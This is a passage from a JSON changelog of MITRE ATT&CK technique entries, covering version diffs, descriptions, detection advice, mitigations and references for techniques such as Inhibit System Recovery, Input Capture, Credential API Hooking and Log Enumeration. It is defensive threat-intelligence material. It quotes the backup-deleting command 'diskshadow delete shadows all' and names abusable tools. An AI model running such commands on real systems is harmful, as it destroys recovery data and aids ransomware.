> a system - <code>diskshadow delete shadows all</code> (Cita> a system - <code>diskshadow delete shadows all</code> (Cita
>tion: Diskshadow) (Citation: Crytox Ransomware)  On network >tion: Diskshadow) (Citation: Crytox Ransomware)  On network 
>devices, adversaries may leverage [Disk Wipe](https://attack>devices, adversaries may leverage [Disk Wipe](https://attack
>.mitre.org/techniques/T1561) to delete backup firmware image>.mitre.org/techniques/T1561) to delete backup firmware image
>s and reformat the file system, then [System Shutdown/Reboot>s and reformat the file system, then [System Shutdown/Reboot
>](https://attack.mitre.org/techniques/T1529) to reload the d>](https://attack.mitre.org/techniques/T1529) to reload the d
>evice. Together this activity may leave network devices comp>evice. Together this activity may leave network devices comp
>letely inoperable and inhibit recovery operations.  Adversar>letely inoperable and inhibit recovery operations.  Adversar
>ies may also delete \u201conline\u201d backups that are connected to t>ies may also delete \u201conline\u201d backups that are connected to t
>heir network \u2013 whether via network storage media or through >heir network \u2013 whether via network storage media or through 
>folders that sync to cloud services.(Citation: ZDNet Ransomw>folders that sync to cloud services.(Citation: ZDNet Ransomw
>are Backups 2020) In cloud environments, adversaries may dis>are Backups 2020) In cloud environments, adversaries may dis
>able versioning and backup policies and delete snapshots, ma>able versioning and backup policies and delete snapshots, da
>chine images, and prior versions of objects designed to be u>tabase backups, machine images, and prior versions of object
>sed in disaster recovery scenarios.(Citation: Dark Reading C>s designed to be used in disaster recovery scenarios.(Citati
>ode Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S>on: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino S
>3 Ransomware)>ecurity Labs AWS S3 Ransomware)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration", + "M1038: Execution Prevention", + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0010: Cloud Storage (Cloud Storage Deletion)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0020: Snapshot (Snapshot Deletion)", + "DS0022: File (File Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:48.323000+00:00", + "modified": "2024-08-13 17:33:45.244000+00:00", + "name": "Input Capture", + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056", + "external_id": "T1056" + }, + { + "source_name": "Adventures of a Keystroke", + "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.", + "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Metadata", + "Process: OS API Execution", + "Driver: Driver Load" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"SYSTEM\", \"root\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-13 17:33:45.244000+00:00\", \"old_value\": \"2023-03-30 21:01:41.752000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:01:15.930000+00:00", + "modified": "2024-08-27 21:03:56.385000+00:00", + "name": "Credential API Hooking", + "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1056/004", + "external_id": "T1056.004" + }, + { + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" + }, + { + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + }, + { + "source_name": "GMER Rootkits", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", + "url": "http://www.gmer.net/" + }, + { + "source_name": "MWRInfoSecurity Dynamic Hooking 2015", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "HighTech Bridge Inline Hooking Sept 2011", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", + "url": "https://www.exploit-db.com/docs/17802.pdf" + }, + { + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918" + }, + { + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" + }, + { + "source_name": "Microsoft Process Snapshot", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx" + }, + { + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "url": "https://github.com/prekageo/winhook" + }, + { + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "url": "https://github.com/jay/gethooks" + }, + { + "source_name": "StackExchange Hooks Jul 2012", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" + }, + { + "source_name": "Adlice Software IAT Hooks Oct 2014", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/" + }, + { + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Metadata", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-27 21:03:56.385000+00:00\", \"old_value\": \"2020-11-10 18:29:31.138000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-12 14:08:48.689000+00:00", + "modified": "2024-09-10 19:06:35.666000+00:00", + "name": "Inter-Process Communication", + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1559", + "external_id": "T1559" + }, + { + "source_name": "Fireeye Hunting COM June 2019", + "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" + }, + { + "source_name": "Linux IPC", + "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.", + "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution", + "Process: Process Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\", \"User\", \"SYSTEM\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-10 19:06:35.666000+00:00\", \"old_value\": \"2022-03-11 20:23:23.122000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1026: Privileged Account Management", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1048: Application Isolation and Sandboxing", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-04 19:26:12.441000+00:00", + "modified": "2024-10-15 15:59:36.741000+00:00", + "name": "Internal Spearphishing", + "description": "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)\n\nFor example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1534", + "external_id": "T1534" + }, + { + "source_name": "Trend Micro When Phishing Starts from the Inside 2017", + "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.", + "url": "https://blog.trendmicro.com/phishing-starts-inside/" + }, + { + "source_name": "Int SP - chat apps", + "description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/" + }, + { + "source_name": "Trend Micro - Int SP", + "description": "Trend Micro. (n.d.). Retrieved February 16, 2024.", + "url": "https://www.trendmicro.com/en_us/research.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim MalcomVetter", + "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:59:36.741000+00:00\", \"old_value\": \"2024-02-16 13:09:39.215000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-10 16:50:57.587000+00:00", + "modified": "2024-10-15 12:24:40.892000+00:00", + "name": "Log Enumeration", + "description": "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1654", + "external_id": "T1654" + }, + { + "source_name": "Permiso GUI-Vil 2023", + "description": "Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.", + "url": "https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/" + }, + { + "source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console", + "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.", + "url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial" + }, + { + "source_name": "Cadet Blizzard emerges as novel threat actor", + "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/" + }, + { + "source_name": "WithSecure Lazarus-NoPineapple Threat Intel Report 2023", + "description": "Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.", + "url": "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bilal Bahad\u0131r Yenici", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 12:24:40.892000+00:00\", \"old_value\": \"2023-09-30 22:18:46.711000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\\n\\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\\n\\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\\n\\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)\", \"old_value\": \"Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\\n\\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\\n\\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\", \"diff\": \"--- \\n+++ \\n@@ -3,3 +3,5 @@\\n Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\\n \\n Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\\n+\\n+In addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Permiso GUI-Vil 2023\", \"description\": \"Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.\", \"url\": \"https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/\"}, \"root['x_mitre_contributors'][1]\": \"Menachem Goldstein\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may enumerate system and service logs to find ust1Adversaries may enumerate system and service logs to find us
>eful data. These logs may highlight various types of valuabl>eful data. These logs may highlight various types of valuabl
>e insights for an adversary, such as user authentication rec>e insights for an adversary, such as user authentication rec
>ords ([Account Discovery](https://attack.mitre.org/technique>ords ([Account Discovery](https://attack.mitre.org/technique
>s/T1087)), security or vulnerable software ([Software Discov>s/T1087)), security or vulnerable software ([Software Discov
>ery](https://attack.mitre.org/techniques/T1518)), or hosts w>ery](https://attack.mitre.org/techniques/T1518)), or hosts w
>ithin a compromised network ([Remote System Discovery](https>ithin a compromised network ([Remote System Discovery](https
>://attack.mitre.org/techniques/T1018)).  Host binaries may b>://attack.mitre.org/techniques/T1018)).  Host binaries may b
>e leveraged to collect system logs. Examples include using `>e leveraged to collect system logs. Examples include using `
>wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn>wevtutil.exe` or [PowerShell](https://attack.mitre.org/techn
>iques/T1059/001) on Windows to access and/or export security>iques/T1059/001) on Windows to access and/or export security
> event information.(Citation: WithSecure Lazarus-NoPineapple> event information.(Citation: WithSecure Lazarus-NoPineapple
> Threat Intel Report 2023)(Citation: Cadet Blizzard emerges > Threat Intel Report 2023)(Citation: Cadet Blizzard emerges 
>as novel threat actor) In cloud environments, adversaries ma>as novel threat actor) In cloud environments, adversaries ma
>y leverage utilities such as the Azure VM Agent\u2019s `CollectGu>y leverage utilities such as the Azure VM Agent\u2019s `CollectGu
>estLogs.exe` to collect security logs from cloud hosted infr>estLogs.exe` to collect security logs from cloud hosted infr
>astructure.(Citation: SIM Swapping and Abuse of the Microsof>astructure.(Citation: SIM Swapping and Abuse of the Microsof
